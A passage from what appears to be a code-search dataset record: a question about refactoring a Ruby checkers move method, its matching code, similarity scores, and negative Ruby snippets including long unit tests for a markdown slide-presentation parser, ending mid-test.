"def begin_with\n move_to(0, 0)\n resize_to(screen_width, screen_height)\n end",
"def midbottom; return self.centerx, self.bottom; end",
"def set_top\n self.class.transaction do\n self.class.where(tag_id: self.tag_id).where.not(id: self.id).update_all('`position` = `position` + 1')\n self.update(:position => 0)\n end\n end",
"def ensure_cursor_visible\n self.top_col = index if index < top_col\n self.bottom_col = index if index > bottom_col\n end",
"def ensure_cursor_visible\n self.top_col = index if index < top_col\n self.bottom_col = index if index > bottom_col\n end",
"def ensure_cursor_visible\n self.top_col = index if index < top_col\n self.bottom_col = index if index > bottom_col\n end",
"def bottom=(b); self[1] = b - self[3]; return b; end",
"def lower_position!(amount = 2)\n if position > 0\n update!(position: position - amount)\n end\n dashboard.reposition_cells\n position\n end",
"def set_end\n if @orientation == 0\n @rowEnd = @rowStart\n @colEnd = @colStart + @length\n elsif @orientation == 1\n @rowEnd = @rowStart + @length\n @colEnd = @colStart\n end\n end",
"def stopped_at; end"
] |
[
"0.6748228",
"0.6548339",
"0.65188503",
"0.65147936",
"0.65145797",
"0.6507956",
"0.64927566",
"0.64678925",
"0.63840663",
"0.6339344",
"0.6335653",
"0.63092655",
"0.6239952",
"0.6122511",
"0.6122511",
"0.6063986",
"0.60565126",
"0.60489583",
"0.6044544",
"0.60318583",
"0.59431344",
"0.5911569",
"0.59094906",
"0.58305377",
"0.5816569",
"0.5815809",
"0.57789767",
"0.5772027",
"0.5742955",
"0.5742955",
"0.5739211",
"0.57324976",
"0.5719798",
"0.55817354",
"0.55768985",
"0.5573997",
"0.5565979",
"0.55564",
"0.55469596",
"0.5532248",
"0.5532248",
"0.5529435",
"0.5520171",
"0.55071753",
"0.5506874",
"0.5502421",
"0.549363",
"0.5486193",
"0.5485555",
"0.5474119",
"0.54592186",
"0.54579645",
"0.5452987",
"0.5437586",
"0.5435477",
"0.5434185",
"0.54152495",
"0.5408956",
"0.53963715",
"0.5381863",
"0.53758633",
"0.5373145",
"0.5364663",
"0.5364663",
"0.5364663",
"0.5363365",
"0.5359039",
"0.5355666",
"0.5354872",
"0.53486174",
"0.53371567",
"0.53327066",
"0.5332149",
"0.5326691",
"0.531524",
"0.53071696",
"0.5304871",
"0.52954966",
"0.5291535",
"0.5291232",
"0.5290541",
"0.5278542",
"0.52528256",
"0.52528256",
"0.52267313",
"0.5213108",
"0.51943254",
"0.5193782",
"0.5190654",
"0.5188797",
"0.5185631",
"0.5183172",
"0.5177508",
"0.5173304",
"0.51715595",
"0.51715595",
"0.51715595",
"0.51637125",
"0.51623106",
"0.51621133",
"0.5152491"
] |
0.0
|
-1
|
how can i clean this up, get rid of need to check that the slide is valid twice?
|
def perform_moves!(move_sequence)
if move_sequence.count == 1
if perform_slide?(move_sequence[0])
perform_slide(move_sequence[0])
else
perform_jump(move_sequence[0])
end
else
move_sequence.each do |move|
perform_jump(move)
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def slide\n slides.first rescue nil\n end",
"def test_truth\n assert_kind_of Slide, slides(:first)\n end",
"def valid_slide?(color)\n player_pieces(color).any?{ |piece| piece.valid_slides.any? }\n end",
"def validate_cover\n errors.add(:position, :cover_must_be_first_slide) if self.kind == COVER && self.position != 1\n errors.add(:position, :if_not_cover_cant_be_first_slide) if self.kind != COVER && self.position == 1\n end",
"def stop_if_cover\n @slide = self.new_record? ? nil : Slide.where(:id => self.id).first\n return true if @slide.nil?\n return @slide.kind != COVER\n end",
"def set_next_slide\n if self.sequence-1>=1\n @slide=Slide.find_by_sequence_and_presentation_id(self.sequence-1,self.presentation_id)\n @slide.next_slide=self.id\n @slide.save\n end\n end",
"def slides=(v) Axlsx.validate_int v; @slides = v; end",
"def setup_slide\n return TSBS.error(@acts[0], 4, @used_sequence) if @acts.size < 5\n stop_all_movements\n xpos = (flip && !@ignore_flip_point ? -@acts[1] : @acts[1])\n ypos = @acts[2]\n slide(xpos, ypos, @acts[3], @acts[4], @acts[5] || 0)\n end",
"def check_slide(slide, title, code, skipped, content_types = [ ], contents = [ ], strip = true, &checks)\n assert_equal(title, slide.title)\n assert_equal(code, slide.contains_code?)\n assert_equal(skipped, slide.skip)\n content_types.each_with_index { |e, i| assert_kind_of(e, slide.elements[i]) }\n contents.each_with_index do |e, i|\n if strip\n assert_equal(e, slide.elements[i].to_s.strip)\n else\n assert_equal(e, slide.elements[i].to_s)\n end\n end\n checks.call(slide.elements) unless checks.nil?\n end",
"def setup_slide\n return unless PONY::ERRNO.check_sequence(current_act)\n stop_all_movements\n xpos = (flip && !@ignore_flip_point ? -@acts[1] : @acts[1])\n ypos = @acts[2]\n slide(xpos, ypos, @acts[3], @acts[4], @acts[5] || 0)\n @acts[4].times do\n method_wait\n end\n end",
"def perform_slide(next_pos)\n\t\t#return true or false if move is legal\n\t\t#move is legal if our possible moves include the next position and the board is empty at that position\n\t\t#make move by changing board and piece's position value\n\t\tif slide_moves.include?(next_pos)\n\t\t\tmove!(next_pos)\n\t\t\ttrue\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"def check_slide(slide, title, code, skipped, content_types = [], contents = [], strip = true, &checks)\n assert_equal(title, slide.title)\n assert_equal(code, slide.contains_code?)\n assert_equal(skipped, slide.skip)\n content_types.each_with_index { |e, i| assert_kind_of(e, slide.elements[i]) }\n contents.each_with_index do |e, i|\n if strip\n assert_equal(e, slide.elements[i].to_s.strip)\n else\n assert_equal(e, slide.elements[i].to_s)\n end\n end\n yield(slide.elements) unless checks.nil?\n end",
"def valid_moves\n final_result = slides + jumps\n end",
"def valid_slide? target_position\n return false if !self.board[target_position].nil?\n \n possible_moves = find_possible_moves(move_diffs) \n possible_moves.include?(target_position) ? true : false\n end",
"def test_slide_parsing\n presentation = Domain::Presentation.new('DE', 'Title1', 'Title2', 3, 'Section 3', '(c) 2014',\n 'Thomas Smits', 'java', 'Test Presentation', 'WS2014',\n false, nil)\n\n parser = Parsing::Parser.new(5, Parsing::ParserHandler.new(true))\n\n parser.parse_lines(lines(test_text), 'testfile.md', 'java', presentation)\n\n parser.second_pass(presentation)\n\n assert_equal('DE', presentation.slide_language)\n assert_equal('Thomas Smits', presentation.author)\n assert_equal('Title1', presentation.title1)\n assert_equal('Title2', presentation.title2)\n assert_equal('Section 3', presentation.section_name)\n assert_equal(3, presentation.section_number)\n assert_equal('(c) 2014', presentation.copyright)\n assert_equal('java', presentation.default_language)\n assert_equal('Test Presentation', presentation.description)\n\n chapter1 = presentation.chapters[0]\n\n assert_equal('Chapter 1', chapter1.title)\n\n slide_index = 0\n\n slides = chapter1.slides\n\n check_slide(slides[slide_index], 'Slide 1.1', false, false,\n [Domain::Text, Domain::UnorderedList, Domain::Text],\n ['Text before the list', '', 'Text after the list']) do |e|\n\n assert_equal('Item 1', e[1].entries[0].to_s)\n assert_equal('Item 2', e[1].entries[1].to_s)\n assert_equal('Item 2.1', e[1].entries[2].entries[0].to_s)\n assert_equal('Item 2.2', e[1].entries[2].entries[1].to_s)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 1.2', true, false,\n [Domain::Source],\n [\"int i = 7;\\ni++;\"]) { |e| assert_equal('java', e[0].language) }\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 1.3', true, false,\n [Domain::Source],\n [\"int k = 9;\\nk++;\"]) { |e| assert_equal('java', e[0].language) }\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 1.4', false, true)\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 1.5', false, false,\n [Domain::Quote],\n [\"Quote Line 1\\nQuote Line 2\"])\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 1.6', false, false,\n [Domain::Important,\n Domain::Question],\n [\"Important Line 1\\nImportant Line 2\",\n \"Question Line 1\\nQuestion Line 2\"])\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 1.7', false, false,\n [Domain::Text,\n Domain::Comment],\n ['Some text']) { |e| assert_equal('Comment line', e[1].elements[0].to_s) }\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 1.8', true, false,\n [Domain::Source,\n Domain::VerticalSpace,\n Domain::Source],\n ['int i = 0;', '', 'int k = 17;'])\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 1.9', false, false,\n [Domain::OrderedList]) do |e|\n\n assert_equal('Item 1', e[0].entries[0].to_s)\n assert_equal('Item 2', e[0].entries[1].to_s)\n assert_equal('Item 2.1', e[0].entries[2].entries[0].to_s)\n assert_equal('Item 2.2', e[0].entries[2].entries[1].to_s)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 1.10', false, false,\n [Domain::Script],\n [\"alert('Javascript goes here!');\"])\n\n chapter2 = presentation.chapters[1]\n\n slides = chapter2.slides\n\n assert_equal('Chapter 2', chapter2.title)\n\n slide_index = 0\n check_slide(slides[slide_index], 'Slide 2.1', false, false,\n [Domain::HTML],\n ['<b>Bold</b>'])\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 2.2', false, false,\n [Domain::ButtonLinkPrevious,\n Domain::ButtonLiveCSS,\n Domain::ButtonLivePreview,\n Domain::ButtonLivePreviewFloat,\n Domain::Button,\n Domain::ButtonWithLog,\n Domain::ButtonWithLogPre])\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 2.3', false, false,\n [Domain::Heading, Domain::Heading, Domain::Heading],\n ['Heading 3', 'Heading 4', 'Heading 5']) do |e|\n assert_equal(3, e[0].level)\n assert_equal(4, e[1].level)\n assert_equal(5, e[2].level)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 2.4', false, false,\n [Domain::Image, Domain::Image, Domain::Image],\n %w[img/file.png img/file.png img/file.png]) do |e|\n assert_equal('10%', e[0].width_slide)\n assert_equal('30%', e[0].width_plain)\n assert_equal('', e[0].alt)\n assert_equal('', e[0].title)\n\n assert_equal('10%', e[1].width_slide)\n assert_nil(e[1].width_plain)\n assert_equal('', e[1].alt)\n assert_equal('', e[1].title)\n\n assert_nil(e[2].width_slide)\n assert_nil(e[2].width_plain)\n assert_equal('', e[2].alt)\n assert_equal('', e[2].title)\n\n assert_equal('10%', e[3].width_slide)\n assert_equal('0%', e[3].width_plain)\n\n assert_equal('10%', e[4].width_slide)\n assert_equal('0', e[4].width_plain)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 2.5', false, false,\n [Domain::Image, Domain::Image, Domain::Image],\n %w[img/file.png img/file.png img/file.png]) do |e|\n assert_equal('10%', e[0].width_slide)\n assert_equal('30%', e[0].width_plain)\n assert_equal('', e[0].alt)\n assert_equal('Title of image', e[0].title)\n\n assert_equal('10%', e[1].width_slide)\n assert_nil(e[1].width_plain)\n assert_equal('', e[1].alt)\n assert_equal('Title of image', e[1].title)\n\n assert_nil(e[2].width_slide)\n assert_nil(e[2].width_plain)\n assert_equal('', e[2].alt)\n assert_equal('Title of image', e[2].title)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 2.6', false, false,\n [Domain::Image, Domain::Image, Domain::Image],\n %w[img/file.png img/file.png img/file.png]) do |e|\n assert_equal('10%', e[0].width_slide)\n assert_equal('30%', e[0].width_plain)\n assert_equal('Alt title of image', e[0].alt)\n assert_equal('Alt title of image', e[0].title)\n\n assert_equal('10%', e[1].width_slide)\n assert_nil(e[1].width_plain)\n assert_equal('Alt title of image', e[1].alt)\n assert_equal('Alt title of image', e[1].title)\n\n assert_nil(e[2].width_slide)\n assert_nil(e[2].width_plain)\n assert_equal('Alt title of image', e[2].alt)\n assert_equal('Alt title of image', e[2].title)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 2.6b', false, false,\n [Domain::Image, Domain::Image, Domain::Image],\n %w[img/file.png img/file.png img/file.png]) do |e|\n assert_equal('10%', e[0].width_slide)\n assert_equal('30%', e[0].width_plain)\n assert_equal('Alt title of image', e[0].alt)\n assert_equal('Alt title of image', e[0].title)\n\n assert_equal('10%', e[1].width_slide)\n assert_nil(e[1].width_plain)\n assert_equal('Alt title of image', e[1].alt)\n assert_equal('Alt title of image', e[1].title)\n\n assert_nil(e[2].width_slide)\n assert_nil(e[2].width_plain)\n assert_equal('Alt title of image', e[2].alt)\n assert_equal('Alt title of image', e[2].title)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 2.7', false, false,\n [Domain::Image, Domain::Image, Domain::Image],\n %w[img/file.png img/file.png img/file.png]) do |e|\n assert_equal('10%', e[0].width_slide)\n assert_equal('30%', e[0].width_plain)\n assert_equal('Alt title of image', e[0].alt)\n assert_equal('Title of image', e[0].title)\n\n assert_equal('10%', e[1].width_slide)\n assert_nil(e[1].width_plain)\n assert_equal('Alt title of image', e[1].alt)\n assert_equal('Title of image', e[1].title)\n\n assert_nil(e[2].width_slide)\n assert_nil(e[2].width_plain)\n assert_equal('Alt title of image', e[2].alt)\n assert_equal('Title of image', e[2].title)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 2.7b', false, false,\n [Domain::Image, Domain::Image, Domain::Image],\n %w[img/file.png img/file.png img/file.png]) do |e|\n assert_equal('10%', e[0].width_slide)\n assert_equal('30%', e[0].width_plain)\n assert_equal('Alt title of image', e[0].alt)\n assert_equal('Title of image', e[0].title)\n\n assert_equal('10%', e[1].width_slide)\n assert_nil(e[1].width_plain)\n assert_equal('Alt title of image', e[1].alt)\n assert_equal('Title of image', e[1].title)\n\n assert_nil(e[2].width_slide)\n assert_nil(e[2].width_plain)\n assert_equal('Alt title of image', e[2].alt)\n assert_equal('Title of image', e[2].title)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 2.8', false, false,\n [Domain::UML]) do |e|\n assert_equal('100%', e[0].width_slide)\n assert_equal('70%', e[0].width_plain)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 2.9', false, false,\n [Domain::Equation],\n ['\\sum_{i=0}^N{P(X = i)} = 1'])\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 2.10', true, false,\n [Domain::Source],\n [\" 0011 3 1101 -3 0111 7\\n\" \\\n \"+ 0010 + 2 + 1110 + -2 + 1011 + -5\\n\" \\\n \"------ --- ------ ---- ------ ----\\n\" \\\n '= 0101 = 5 = 1011 = -5 = 0010 = 2'],\n false)\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 2.11', false, false,\n [Domain::UnorderedList, Domain::Text, Domain::UnorderedList]) do |e|\n assert_equal('Item 1', e[0].entries[0].to_s)\n assert_equal('Item 2', e[0].entries[1].to_s)\n\n assert_equal('Example', e[1].to_s)\n\n assert_equal('Item 3', e[2].entries[0].to_s)\n assert_equal('Item 4', e[2].entries[1].to_s)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 2.12', false, false,\n [Domain::OrderedList, Domain::Text, Domain::OrderedList]) do |e|\n assert_equal('Item 1', e[0].entries[0].to_s)\n assert_equal('Item 2', e[0].entries[1].to_s)\n\n assert_equal(1, e[0].start_number)\n assert_equal('Item 1', e[0].entries[0].to_s)\n assert_equal('Item 2', e[0].entries[1].to_s)\n assert_equal('Item 3', e[0].entries[2].to_s)\n\n assert_equal('Text', e[1].to_s)\n\n assert_equal(4, e[2].start_number)\n assert_equal('Item 4', e[2].entries[0].to_s)\n assert_equal('Item 5', e[2].entries[1].to_s)\n assert_equal('Item 6', e[2].entries[2].to_s)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 2.13', false, false,\n [Domain::OrderedList]) do |e|\n\n assert_equal(4, e[0].start_number)\n assert_equal('Item 4', e[0].entries[0].to_s)\n assert_equal('Item 5', e[0].entries[1].to_s)\n assert_equal('Item 6', e[0].entries[2].to_s)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 2.14', false, false,\n [Domain::OrderedList]) do |e|\n\n assert_equal(1, e[0].start_number)\n assert_equal('Item 1', e[0].entries[0].to_s)\n assert_equal('Item 2', e[0].entries[1].to_s)\n assert_equal('Item 2.1', e[0].entries[2].entries[0].to_s)\n assert_equal(1, e[0].entries[2].start_number)\n assert_equal('Item 2.2', e[0].entries[2].entries[1].to_s)\n assert_equal('Item 3', e[0].entries[3].to_s)\n assert_equal('Item 4', e[0].entries[4].to_s)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 3.1', true, false,\n [Domain::Source],\n [\"THIS IS SOURCE CODE\\nAT LEAST SOME\"],\n false) do |e|\n\n assert_equal(\"THIS IS SOURCE CODE\\nAT LEAST SOME\", e[0].to_s)\n assert_equal('AT LEAST SOME', e[1].to_s)\n assert_equal(\"THIS IS SOURCE CODE\\nAT LEAST SOME\", e[2].to_s)\n assert_equal('Java', e[2].language)\n assert_equal('AT LEAST SOME', e[3].to_s)\n assert_equal('Java', e[3].language)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 4.1', false, false,\n [Domain::Text, Domain::MultipleChoiceQuestions],\n [],\n false) do |e|\n\n assert_equal(false, e[1].inline)\n\n assert_equal('Some text', e[0].to_s)\n assert_equal('A question', e[1].questions[0].text)\n assert_equal(false, e[1].questions[0].correct)\n assert_equal('A correct question', e[1].questions[1].text)\n assert_equal(true, e[1].questions[1].correct)\n assert_equal('A question', e[1].questions[2].text)\n assert_equal(false, e[1].questions[2].correct)\n assert_equal('Some text at the end', e[2].to_s)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 4.2', false, false,\n [Domain::Text, Domain::MultipleChoiceQuestions],\n [],\n false) do |e|\n\n assert_equal(true, e[1].inline)\n\n assert_equal('Some text', e[0].to_s)\n assert_equal('A question', e[1].questions[0].text)\n assert_equal(false, e[1].questions[0].correct)\n assert_equal('A correct question', e[1].questions[1].text)\n assert_equal(true, e[1].questions[1].correct)\n assert_equal('A question', e[1].questions[2].text)\n assert_equal(false, e[1].questions[2].correct)\n assert_equal('Some text at the end', e[2].to_s)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 5.1', false, false,\n [Domain::Table],\n [],\n false) do |e|\n assert_equal('Dezimal', e[0].headers[0].to_s)\n assert_equal('Binär', e[0].headers[1].to_s)\n assert_equal('Oktal', e[0].headers[2].to_s)\n assert_equal('Hexadezimal', e[0].headers[3].to_s)\n\n row = e[0].rows\n assert_nil(row[0])\n assert_equal('521,125', row[1][0].strip)\n assert_equal('', row[1][1].strip)\n assert_equal('', row[1][2].strip)\n assert_equal('', row[1][3].strip)\n\n assert_equal('', row[2][0].strip)\n assert_equal('1011,11', row[2][1].strip)\n assert_equal('', row[2][2].strip)\n assert_equal('', row[2][3].strip)\n\n assert_equal('', row[3][0].strip)\n assert_equal('', row[3][1].strip)\n assert_equal('15,7', row[3][2].strip)\n assert_equal('', row[3][3].strip)\n\n assert_equal('', row[4][0].strip)\n assert_equal('', row[4][1].strip)\n assert_equal('', row[4][2].strip)\n assert_equal('AC,8', row[4][3].strip)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 5.2', false, false,\n [Domain::Table],\n [],\n false) do |e|\n assert_equal('Dezimal', e[0].headers[0].to_s)\n assert_equal('Binär', e[0].headers[1].to_s)\n assert_equal('Oktal', e[0].headers[2].to_s)\n assert_equal('Hexadezimal', e[0].headers[3].to_s)\n\n row = e[0].rows\n assert_nil(row[0])\n assert_equal('521,125', row[1][0].strip)\n assert_equal('1000001001,001', row[1][1].strip)\n assert_equal('1011,1', row[1][2].strip)\n assert_equal('209,2', row[1][3].strip)\n\n assert_equal('11,75', row[2][0].strip)\n assert_equal('1011,11', row[2][1].strip)\n assert_equal('13,6', row[2][2].strip)\n assert_equal('B,C', row[2][3].strip)\n\n assert_equal('13,875', row[3][0].strip)\n assert_equal('1101,111', row[3][1].strip)\n assert_equal('15,7', row[3][2].strip)\n assert_equal('D,E', row[3][3].strip)\n\n assert_equal('172,5', row[4][0].strip)\n assert_equal('10101100,1', row[4][1].strip)\n assert_equal('254,4', row[4][2].strip)\n assert_equal('AC,8', row[4][3].strip)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 6.1', false, false,\n [Domain::Text, Domain::UnorderedList, Domain::Quote, Domain::Important, Domain::Question],\n [ \"Text using a footnote[^Footnote with number.] and another one[^Footnote with label.].\" ],\n false) do |e|\n assert_equal([ Domain::Footnote.new(\"1\", \"Footnote with number.\"),\n Domain::Footnote.new(\"label\", \"Footnote with label.\"),\n Domain::Footnote.new(\"withquote\", 'Footnote containing a \"quote\"'),\n Domain::Footnote.new(\"2\", \"Footnote with number.\"),\n Domain::Footnote.new(\"label2\", \"Footnote with label.\") ],\n chapter2.footnotes)\n\n assert_equal('In a list[^Footnote with number.]', e[1].entries[0].to_s)\n assert_equal('Or a quote[^Footnote with number.]', e[2].to_s)\n assert_equal('Or Important[^Footnote with number.]', e[3].to_s)\n assert_equal('Or Question[^Footnote with number.]', e[4].to_s)\n assert_equal('Text using a footnote[^Footnote containing a \"quote\"] with a quote inside.', e[5].to_s)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 6.2', false, false,\n [Domain::Text],\n [ \"Text using a footnote[^Footnote with number.] and another one[^Footnote with label.].\" ],\n false) do |e|\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 6.3', false, false,\n [Domain::Text, Domain::UnorderedList, Domain::Quote, Domain::Important, Domain::Question],\n [],\n false) do |e|\n\n assert_equal('Text with a [one](https://en.wikipedia.org/wiki/Hobbit#Lifestyle) and another [two](https://en.wikipedia.org/wiki/Hobbit#Lifestyle \"Hobbit lifestyles\")', e[0].to_s)\n assert_equal('[three](https://en.wikipedia.org/wiki/Hobbit#Lifestyle \"Hobbit lifestyles\")', e[1].entries[0].to_s)\n assert_equal('[four](https://en.wikipedia.org/wiki/Hobbit#Lifestyle \"Hobbit lifestyles\")', e[1].entries[1].to_s)\n assert_equal('Quote [five](https://en.wikipedia.org/wiki/Hobbit#Lifestyle \"Hobbit lifestyles\")', e[2].to_s)\n assert_equal('Important [six](https://en.wikipedia.org/wiki/Hobbit#Lifestyle \"Hobbit lifestyles\")', e[3].to_s)\n assert_equal('Question [seven](https://en.wikipedia.org/wiki/Hobbit#Lifestyle \"Hobbit lifestyles\")', e[4].to_s)\n assert_equal('Question [eight](https://en.wikipedia.org/wiki/Hobbit#Lifestyle)', e[5].to_s)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 6.4 Comment before slide', false, false,\n [Domain::Comment, Domain::Text, Domain::UnorderedList, Domain::Comment],\n [],\n false) do |e|\n\n assert_equal('This is a comment before the actual slide', e[0].elements[0].to_s)\n assert_equal('BC1', e[0].elements[1].entries[0].to_s)\n assert_equal('BC2', e[0].elements[1].entries[1].to_s)\n assert_equal('Slide Text', e[1].to_s)\n assert_equal('BS1', e[2].entries[0].to_s)\n assert_equal('BS2', e[2].entries[1].to_s)\n assert_equal('End Comment', e[3].elements[0].to_s)\n assert_equal('BE1', e[3].elements[1].entries[0].to_s)\n assert_equal('BE2', e[3].elements[1].entries[1].to_s)\n end\n\n slide_index += 1\n check_slide(slides[slide_index], 'Slide 6.5 Just a plain slide', false, false,\n [Domain::Text],\n [],\n false) do |e|\n\n assert_equal('With some text', e[0].to_s)\n end\n end",
"def set_slide\n @slide = @presentation.slides.friendly.find(params[:id]) \n end",
"def test_slide_parsing\n\n presentation = Domain::Presentation.new('DE', 'Title1', 'Title2', 3, 'Section 3', '(c) 2014',\n 'Thomas Smits', 'java', 'Test Presentation', 'WS2014',\n false, nil)\n\n parser = Parsing::Parser.new(5, Parsing::ParserHandler.new(true))\n\n\n parser.parse_lines(lines(test_text), 'testfile.md', 'java', presentation)\n\n assert_equal('DE', presentation.slide_language)\n assert_equal('Thomas Smits', presentation.author)\n assert_equal('Title1', presentation.title1)\n assert_equal('Title2', presentation.title2)\n assert_equal('Section 3', presentation.section_name)\n assert_equal(3, presentation.section_number)\n assert_equal('(c) 2014', presentation.copyright)\n assert_equal('java', presentation.default_language)\n assert_equal('Test Presentation', presentation.description)\n\n chapter1 = presentation.chapters[0]\n\n assert_equal('Chapter 1', chapter1.title)\n\n slides = chapter1.slides\n\n check_slide(slides[0], 'Slide 1.1', false, false,\n [ Domain::Text, Domain::UnorderedList, Domain::Text ],\n [ 'Text before the list', '', 'Text after the list' ] ) do |e|\n\n assert_equal('Item 1', e[1].entries[0].to_s)\n assert_equal('Item 2', e[1].entries[1].to_s)\n assert_equal('Item 2.1', e[1].entries[2].entries[0].to_s)\n assert_equal('Item 2.2', e[1].entries[2].entries[1].to_s)\n end\n\n check_slide(slides[1], 'Slide 1.2', true, false,\n [ Domain::Source ],\n [ \"int i = 7;\\ni++;\" ]) { |e| assert_equal('java', e[0].language) }\n\n check_slide(slides[2], 'Slide 1.3', true, false,\n [ Domain::Source ],\n [ \"int k = 9;\\nk++;\" ]) { |e| assert_equal('java', e[0].language) }\n\n check_slide(slides[3], 'Slide 1.4', false, true)\n\n check_slide(slides[4], 'Slide 1.5', false, false,\n [ Domain::Quote ],\n [ \"Quote Line 1\\nQuote Line 2\" ])\n\n check_slide(slides[5], 'Slide 1.6', false, false,\n [ Domain::Important,\n Domain::Question ],\n [ \"Important Line 1\\nImportant Line 2\",\n \"Question Line 1\\nQuestion Line 2\" ])\n\n check_slide(slides[6], 'Slide 1.7', false, false,\n [ Domain::Text,\n Domain::Comment ],\n [ 'Some text' ]) { |e| assert_equal('Comment line', e[1].elements[0].to_s) }\n\n check_slide(slides[7], 'Slide 1.8', true, false,\n [ Domain::Source,\n Domain::VerticalSpace,\n Domain::Source ],\n [ 'int i = 0;', '', 'int k = 17;' ])\n\n check_slide(slides[8], 'Slide 1.9', false, false,\n [ Domain::OrderedList ]) do |e|\n\n assert_equal('Item 1', e[0].entries[0].to_s)\n assert_equal('Item 2', e[0].entries[1].to_s)\n assert_equal('Item 2.1', e[0].entries[2].entries[0].to_s)\n assert_equal('Item 2.2', e[0].entries[2].entries[1].to_s)\n end\n\n check_slide(slides[9], 'Slide 1.10', false, false,\n [ Domain::Script ],\n [ \"alert('Javascript goes here!');\" ])\n\n chapter2 = presentation.chapters[1]\n\n slides = chapter2.slides\n\n assert_equal('Chapter 2', chapter2.title)\n\n check_slide(slides[0], 'Slide 2.1', false, false,\n [ Domain::HTML ],\n [ '<b>Bold</b>' ])\n\n check_slide(slides[1], 'Slide 2.2', false, false,\n [ Domain::ButtonLinkPrevious,\n Domain::ButtonLiveCSS,\n Domain::ButtonLivePreview,\n Domain::ButtonLivePreviewFloat,\n Domain::Button,\n Domain::ButtonWithLog,\n Domain::ButtonWithLogPre ])\n\n check_slide(slides[2], 'Slide 2.3', false, false,\n [ Domain::Heading, Domain::Heading, Domain::Heading ],\n [ 'Heading 3', 'Heading 4', 'Heading 5' ]) do |e|\n assert_equal(3, e[0].level)\n assert_equal(4, e[1].level)\n assert_equal(5, e[2].level)\n end\n\n check_slide(slides[3], 'Slide 2.4', false, false,\n [ Domain::Image, Domain::Image, Domain::Image ],\n %w(img/file.png img/file.png img/file.png )) do |e|\n assert_equal('10%', e[0].width_slide)\n assert_equal('30%', e[0].width_plain)\n assert_equal('', e[0].alt)\n assert_equal('', e[0].title)\n\n assert_equal('10%', e[1].width_slide)\n assert_nil(e[1].width_plain)\n assert_equal('', e[1].alt)\n assert_equal('', e[1].title)\n\n assert_nil(e[2].width_slide)\n assert_nil(e[2].width_plain)\n assert_equal('', e[2].alt)\n assert_equal('', e[2].title)\n\n assert_equal('10%', e[3].width_slide)\n assert_equal('0%', e[3].width_plain)\n\n assert_equal('10%', e[4].width_slide)\n assert_equal('0', e[4].width_plain)\n end\n\n check_slide(slides[4], 'Slide 2.5', false, false,\n [ Domain::Image, Domain::Image, Domain::Image ],\n %w(img/file.png img/file.png img/file.png )) do |e|\n assert_equal('10%', e[0].width_slide)\n assert_equal('30%', e[0].width_plain)\n assert_equal('', e[0].alt)\n assert_equal('Title of image', e[0].title)\n\n assert_equal('10%', e[1].width_slide)\n assert_nil(e[1].width_plain)\n assert_equal('', e[1].alt)\n assert_equal('Title of image', e[1].title)\n\n assert_nil(e[2].width_slide)\n assert_nil(e[2].width_plain)\n assert_equal('', e[2].alt)\n assert_equal('Title of image', e[2].title)\n end\n\n check_slide(slides[5], 'Slide 2.6', false, false,\n [ Domain::Image, Domain::Image, Domain::Image ],\n %w(img/file.png img/file.png img/file.png )) do |e|\n assert_equal('10%', e[0].width_slide)\n assert_equal('30%', e[0].width_plain)\n assert_equal('Alt title of image', e[0].alt)\n assert_equal('Alt title of image', e[0].title)\n\n assert_equal('10%', e[1].width_slide)\n assert_nil(e[1].width_plain)\n assert_equal('Alt title of image', e[1].alt)\n assert_equal('Alt title of image', e[1].title)\n\n assert_nil(e[2].width_slide)\n assert_nil(e[2].width_plain)\n assert_equal('Alt title of image', e[2].alt)\n assert_equal('Alt title of image', e[2].title)\n end\n\n check_slide(slides[6], 'Slide 2.7', false, false,\n [ Domain::Image, Domain::Image, Domain::Image ],\n %w(img/file.png img/file.png img/file.png )) do |e|\n assert_equal('10%', e[0].width_slide)\n assert_equal('30%', e[0].width_plain)\n assert_equal('Alt title of image', e[0].alt)\n assert_equal('Title of image', e[0].title)\n\n assert_equal('10%', e[1].width_slide)\n assert_nil(e[1].width_plain)\n assert_equal('Alt title of image', e[1].alt)\n assert_equal('Title of image', e[1].title)\n\n assert_nil(e[2].width_slide)\n assert_nil(e[2].width_plain)\n assert_equal('Alt title of image', e[2].alt)\n assert_equal('Title of image', e[2].title)\n end\n\n check_slide(slides[7], 'Slide 2.8', false, false,\n [ Domain::UML ]) do |e|\n assert_equal('100%', e[0].width_slide)\n assert_equal('70%', e[0].width_plain)\n end\n\n check_slide(slides[8], 'Slide 2.9', false, false,\n [ Domain::Equation ],\n [ 